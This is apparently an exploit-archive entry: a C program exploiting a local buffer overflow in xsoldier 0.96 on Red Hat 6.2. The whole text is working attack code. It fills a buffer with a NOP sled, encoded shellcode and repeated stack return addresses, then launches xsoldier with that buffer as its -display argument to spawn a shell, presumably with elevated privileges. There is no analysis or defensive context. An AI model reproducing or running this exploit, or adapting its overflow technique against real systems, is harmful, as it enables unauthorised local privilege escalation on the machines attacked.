xsoldier 0.96 (RedHat 6.2) - Local Buffer Overflow

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90
#define BUFSIZE 4408
#define OFFSET 0 
#define RANGE 20
 
unsigned char blah[] =
  "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
  "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
  "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
  "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
  "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
  "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
  "\xc2\x91";

long get_sp () { __asm__ ("mov %esp, %eax"); }

int
main (int argc, char *argv[])
{
  char buffer[BUFSIZE];
  int i, offset;
  unsigned long ret;

  if (argc > 1)
    offset = atoi(argv[1]);
  else
    offset = OFFSET;

  for (i = 0; i < (BUFSIZE - strlen (blah) - RANGE*2); i++)
    *(buffer + i) = NOP;

  memcpy (buffer + i, blah, strlen (blah));

  ret = get_sp();	
  for (i = i + strlen (blah); i < BUFSIZE; i += 4)
    *(long *) &buffer[i] = ret+offset;

  fprintf(stderr, "xsoldier-0.96 exploit for Red Hat Linux release 6.2 (Zoot)\n");
  fprintf(stderr, "[email protected]\n");		
  fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", ret + offset, offset, BUFSIZE);
  execl ("./xsoldier", "xsoldier", "-display", buffer, 0);
}


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